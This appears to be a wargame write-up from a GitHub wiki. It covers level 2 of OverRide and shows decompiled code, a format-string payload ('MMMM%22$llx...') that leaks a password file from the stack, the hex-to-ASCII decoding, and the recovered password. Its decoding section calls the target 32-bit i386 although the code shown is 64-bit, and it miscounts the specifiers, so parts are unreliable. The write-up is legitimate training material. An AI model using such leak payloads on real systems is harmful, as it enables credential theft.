LEVEL 2 - Madasanya/overRide GitHub Wiki
Application behaviour
Application on this level takes two inputs when not having rightr input it prints the first input and message.
level02@OverRide:~$ ./level02
===== [ Secure Access System v1.0 ] =====
/***************************************\
| You must login to access this system. |
\**************************************/
--[ Username: admin
--[ Password: pass
*****************************************
admin does not have access!
Disassembly analysis
We get code disassembly with Ghidra
Local variables
We can see we have a bunch of local varabiles that will be allocated on the stack.
undefined8 main(void)
{
int iVar1;
size_t sVar2;
long lVar3;
char *pcVar4;
char local_118 [112];
char local_a8 [48];
char local_78 [100];
int local_14;
FILE *local_10;
...
Reading pass folder
We see that content is read into local_a8:
...
local_10 = fopen("/home/users/level03/.pass","r");
if (local_10 == (FILE *)0x0) {
fwrite("ERROR: failed to open password file\n",1,0x24,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
sVar2 = fread(local_a8,1,0x29,local_10);
local_14 = (int)sVar2;
sVar2 = strcspn(local_a8,"\n");
local_a8[sVar2] = '\0';
if (local_14 != 0x29) {
fwrite("ERROR: failed to read password file\n",1,0x24,stderr);
fwrite("ERROR: failed to read password file\n",1,0x24,stderr);
/* WARNING: Subroutine does not return */
exit(1);
}
...
Un-formated printf
There is unformated printf of local_78 which is where we input The Username which we can use to print the stack.
...
printf("--[ Username: ");
fgets(local_78,100,stdin);
sVar2 = strcspn(local_78,"\n");
local_78[sVar2] = '\0';
printf("--[ Password: ");
fgets(local_118,100,stdin);
sVar2 = strcspn(local_118,"\n");
local_118[sVar2] = '\0';
puts("*****************************************");
iVar1 = strncmp(local_a8,local_118,0x29);
if (iVar1 == 0) {
printf("Greetings, %s!\n",local_78);
system("/bin/sh");
return 0;
}
printf(local_78);
...
Exploit
Since the first input is printed using printf with no formatting and the variable(local_a8) that holds the content of .pass file is above variable that means if we print right part of stack it will be right before variable which holds input(local_78).
To print stack per character of input we decide to use %llx and adding magic string in the beggionig of our input whic can be easily recognized in output.
After some testing we settled on payload MMMM%22$llx%23$llx%24$llx%25$llx%26$llx%27$llx%28$llx.
As we know payload needs to entered int Username: input:
level02@OverRide:~$ ./level02
===== [ Secure Access System v1.0 ] =====
/***************************************\
| You must login to access this system. |
\**************************************/
--[ Username: MMMM%22$llx%23$llx%24$llx%25$llx%26$llx%27$llx%28$llx
--[ Password:
*****************************************
MMMM756e50523437684845414a3561733951377a7143574e6758354a35686e47587348336750664b394d0243232254d4d4d4d does not have access!
After magic String (MMMM) we see there is string of characters which could be ASCII representation of string 756e50523437684845414a3561733951377a7143574e6758354a35686e47587348336750664b394d0243232254d4d4d4d.
Decoding the output
When analyzing hexadecimal leaks obtained via printf positional format specifiers on x86 (i386) architectures, raw hexadecimal output must be parsed to reconstruct original stack buffers. This guide details the step-by-step transformation from raw format string input/output to Little-Endian ASCII representation.
1. Input and Raw Output Analysis
Input Format String
MMMM%22$llx%23$llx%24$llx%25$llx%26$llx%27$llx%28$llx
- Prefix:
MMMMserves as a 4-byte alignment marker. - Specifiers: Seven consecutive positional specifiers (
%22$llxthrough%28$llx). - Type Modifiers:
%llxreads 64-bit (8-byte) values. On 32-bit (i386) targets, each%llxconsumes two consecutive 32-bit stack slots.
Raw Printf Output
MMMM756e50523437684845414a3561733951377a7143574e6758354a35686e47587348336750664b394d0243232254d4d4d4d
2. Resolving Zero-Stripping and Specifier Boundaries
Standard %llx specifiers suppress leading zeros in hex output. When a stack slot contains leading zeros or equals 0, printf omits those characters, resulting in variable-length hex outputs rather than fixed 16-character chunks.
Isolating the output by specifier index:
%22$llxthrough%26$llx: Each outputs 16 hex characters (8 full bytes).%27$llx: Outputs0(1 character), representing 8 null bytes (0x00).%28$llx: Outputs243232254d4d4d4d(16 hex characters).
Full Raw Output Stream (excluding MMMM prefix):
756e505234376848 45414a3561733951 377a7143574e6758 354a35686e475873 48336750664b394d 0 243232254d4d4d4d
|-- %22$llx --| |-- %23$llx --| |-- %24$llx --| |-- %25$llx --| |-- %26$llx --| %27 |-- %28$llx --|
Best Practice Note: To prevent alignment shifts caused by missing leading zeros, use
%016llx(or%08xfor single 32-bit slots) to force zero-padded, fixed-width output.
3. i386 Stack Ordering & Little-Endian Reversal Rules
On a 32-bit (i386) system, %llx pops two 32-bit stack slots to form one 64-bit integer. Because x86 is Little-Endian:
- The first stack slot (lower memory address) populates the low-order bits (displayed on the right of the hex output).
- The second stack slot (higher memory address) populates the high-order bits (displayed on the left of the hex output).
To correctly decode each 8-byte chunk (16 hex characters):
- Split into two 32-bit words: High word (left 8 hex digits) and Low word (right 8 hex digits).
- Swap word order: Low word comes first in memory, followed by High word.
- Reverse bytes in each word: Perform standard 32-bit Little-Endian byte reversal to get ASCII characters.
Transformation Example (%22$llx = 756e505234376848):
Raw Hex Output: 75 6e 50 52 34 37 68 48
1. Split 32-bit Words: [75 6e 50 52] (High) [34 37 68 48] (Low)
2. Swap Stack Order: [34 37 68 48] (Word 1) [75 6e 50 52] (Word 2)
3. Byte Reversal (LE): [48 68 37 34] [52 50 6e 75]
4. ASCII Conversion: H h 7 4 R P n u
Decoded String: "Hh74RPnu"
4. Complete Memory Transformation Table
| Positional Specifier | Raw Hex Output | Memory Word Order (32-bit Swapped) | Little-Endian Corrected Bytes | ASCII Character Equivalent |
|---|---|---|---|---|
%22$llx |
756e505234376848 |
[34376848] [756e5052] |
48 68 37 34 52 50 6e 75 |
Hh74RPnu |
%23$llx |
45414a3561733951 |
[61733951] [45414a35] |
51 39 73 61 35 4a 41 45 |
Q9sa5JAE |
%24$llx |
377a7143574e6758 |
[574e6758] [377a7143] |
58 67 4e 57 43 71 7a 37 |
XgNWCqz7 |
%25$llx |
354a35686e475873 |
[6e475873] [354a3568] |
73 58 47 6e 68 35 4a 35 |
sXGnh5J5 |
%26$llx |
48336750664b394d |
[664b394d] [48336750] |
4d 39 4b 66 50 67 33 48 |
M9KfPg3H |
%27$llx |
0 |
[00000000] [00000000] |
00 00 00 00 00 00 00 00 |
\x00\x00\x00\x00\x00\x00\x00\x00 (String Terminator) |
%28$llx |
243232254d4d4d4d |
[4d4d4d4d] [24323225] |
4d 4d 4d 4d 25 32 32 24 |
MMMM%22$ (Format String Mirror) |
5. Reconstructed Stack Data
-
Decoded .pass content (
%22$to%26$):Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H -
Null Terminator (
%27$): The single0indicates 8 null bytes (\x00), marking the end of the string buffer on the stack. -
Buffer Mirror (
%28$): Swapping and decoding243232254d4d4d4doutputsMMMM%22$, confirming that position 28 accesses the input format buffer itself.
Analysis of payload and output
We can see that the size of array holding the .pass value is 48 bytes. So we use 6 %llx(printing 8 bytes each) to print them all. Because of stack setup from Ghidra analysis we know those bytes represent content of .pass file plus null terminators. We priunt this 48 bytes directly before of our Buffer memory.
Basted on that we can use it content directly to progress to next level.
Next level
Pass
Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H
level02@OverRide:~$ su level03